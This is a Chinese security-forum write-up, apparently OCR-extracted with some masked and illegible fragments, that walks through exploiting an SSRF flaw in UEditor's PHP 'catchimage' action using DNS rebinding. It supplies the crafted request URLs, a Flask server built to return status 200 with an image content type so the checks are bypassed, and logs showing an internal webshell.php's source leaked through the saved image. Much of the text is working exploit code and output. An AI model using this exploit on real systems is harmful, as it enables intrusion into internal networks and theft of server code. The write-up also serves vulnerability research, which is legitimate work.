

现在都没人收Ueditor的洞了么？都只能赚稿费...

代码分析

一般请求的url如下，其中source为数组，值为图片地址：

[http://lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source\[\]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf](http://lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf)

主要跟踪这段代码: /php/Uploader.class.php:173

[illegible]

• • • ■ ■

整个流程大概如下:

- 1、判断是否是合法http的url地址
- 2、利用gethostbyname来解析判断是否是内网IP
- 3、利用get_headers进行http请求，来判断请求的图片资源是否正确，比如状态码为200、响应content-type是否为image (SSRF漏洞触发处)
- 4、最终用readfile来进行最后的资源获取，来获取图片内容

所以在利用DNS重绑定时候，我们可以这样做

第一次请求 -> 外网ip

第二次请求 -> 内网ip

第三次请求 -> 内网ip

1.4.3.3 DNS重绑定利用过程

其实单纯的第二次就已经有了HTTP请求，所以可以很容易的进行一些攻击。

lemon.i/code-src/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png

其中my.ip设置了重绑定

第一次dns请求是调用了gethostbyname函数 -> 外网ip

第二次dns请求是调用了get_headers函数 -> 内网ip

```
$ sudo python -m SimpleHTTPServer 80
Password:
Serving HTTP on 0.0.0.0 port 80 ...
10.211.55.3 - - [28/Oct/2018 01:11:45] "GET /logo.png HTTP/1.0" 200 -
10.211.55.3 - - [28/Oct/2018 01:11:56] "GET /?aaa=1 HTTP/1.0" 200 -
10.211.55.3 - - [28/Oct/2018 01:12:05] "GET /?aaa=1&logo.png HTTP/1.0" 200 -
10.211.55.3 - - [28/Oct/2018 01:12:31] "GET /?aaa=1 HTTP/1.0" 200 -
```

其中返回内容state为■■contentType■■■，表示请求成功了!

如果返回为■■ IP则表示DNS重绑定时候第一次是为内网IP，这时需要调整一下绑定顺序。

但是会剩一个问题就是: 能不能获取到SSRF请求后的回显内容!

第三个请求便可以做到，因为会将请求的内容保存为图片，我们获取图片内容即可。

但是得先把第二次请求限制绕过

```
!(stristr($heads[0], "200") && stristr($heads[0], "OK"))
```

```
!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !strstr($heads['Content-Type'], "image"
```

这两个条件语句也就是限定了请求得需要为200状态、并且响应头的content-type是image

所以第二次请求最好是我们可控的服务器，这样才能绕过它的限制。

DNS

■■■■■ -> ■■ip

```
■■■■■ -> ■■ip (■■server)
```

```
■■■■■ -> ■■■ip (■■■■■)
```

第二次请求的外网server需要定制一下，也就任何请求都返回200，并且content-type为image

```
from flask import Flask, Response
from werkzeug.routing import BaseConverter
```

```
class Regex_url(BaseConverter):
    def __init__(self, url_map, *args):
        super(Regex_url, self).__init__(url_map)
        self.regex = args[0]
```

```
app = Flask(__name__)
app.url_map.converters['re'] = Regex_url
```

```
@app.route('/<re(".*?"):tmp>')
def test(tmp):
    image = 'Test'
    #image = file("demo.jpg")
    resp = Response(image, mimetype="image/jpeg")
    return resp

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)
```

```
$ curl -vv http://127.0.0.1/aa.php?asdasdjgh1=3adsasd

* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /aa.php?asdasdjgh1=3adsasd HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.54.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: image/jpeg
< Content-Length: 4
< Server: Werkzeug/0.11.9 Python/2.7.12
< Date: Sun, 28 Oct 2018 10:26:55 GMT
<
* Closing connection 0
Test%
```

```
13m0n@13m0ndeMacBook-Pro ~
$ sudo python ssrf_server.py
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [28/Oct/2018 18:25:56] "GET /aa.php?asdasdjgh1=3adsasd HTTP/1.1" 200 -
127.0.0.1 - - [28/Oct/2018 18:26:55] "GET /aa.php?asdasdjgh1=3adsasd HTTP/1.1" 200 -
```

上面的都是一些理论的说明，事实上，有些DNS会存在缓存问题，导致出现结果很不稳定。

第一步: 搭建后外网的server，左边的为第二次请求(外网)，右边为第三次请求(内网)

中间绕过判断的远程server	被攻击的内网server
<pre>[root@118 tools]# python3 ssrf_server.py * Serving Flask app "ssrf_server" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off * Running on http://0.0.0.0:80/ (Press CTRL+C to quit) 111 127.0.0.1 - - [29/Oct/2018 00:16:00] "GET /webshell.php?a=1&demo.png HTTP/1.0" 200 -</pre>	<pre>13m0n@13m0ndeMacBook-Pro ~ \$ sudo python -m SimpleHTTPServer 80 Password: Serving HTTP on 0.0.0.0 port 80 ... 10.211.55.8 - - [29/Oct/2018 00:16:00] "GET /webshell.php?a=1&demo.png HTTP/1.0" 200 -</pre>

第二步: 进行请求，其中网址是有dns重绑定

中间绕过判断的远程server	被攻击的内网server
<pre>GET /ueditor/ueditor/php/controller.php?action=catchimage&source[]=http://.4 .4.4.4.s.wln.pw/webshell.php?a=1&26demo.png HTTP/1.1 Host: love.lemon Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap ng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6 Cookie: mediawiki_1_31_mdUserName=Lemonabcd Connection: close</pre>	<pre>HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Sun, 28 Oct 2018 16:15:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 447 Connection: close X-Powered-By: PHP/5.5.9-lubuntu4.25 Vary: Accept-Encoding
 Notice: date_default_timezone_set(): Timezone ID 'Asia/chongqing' is invalid in /var/www/html/ueditor/ueditor/php/controller.php on line 4
 {"state": "SUCCESS", "list": [{"state": "SUCCESS", "url": "\ueditor\php\upl oad\image\20181029\1540743359441649.png", "size": 1775, "title": "1540743 359441649.png", "original": "webshell.php?a=1&demo.png", "source": "http ://.4.4.4.s.wln.pw/webshell.php?a=1&demo.png"}]}</pre>

第三步: 可以根据返回的图片地址, 请求后便可以获取到内网web的ssrf的响应内容

```
└─$ curl -vv http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649.png [54/
* Trying 10.211.55.4...
* TCP_NODELAY set
* Connected to love.lemon (10.211.55.4) port 82 (#0)
> GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1
> Host: love.lemon:82
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Sun, 28 Oct 2018 16:18:43 GMT
< Content-Type: image/png
< Content-Length: 1775
< Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
< Connection: keep-alive
< ETag: "5bd5e0bf-6ef"
< Accept-Ranges: bytes
<
<?php
/
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
```



点击收藏 | 1 关注 | 1

[上一篇：通过RDP隧道绕过企业网络限制策略...](#) [下一篇：深入分析恶意软件 Emotet 的...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)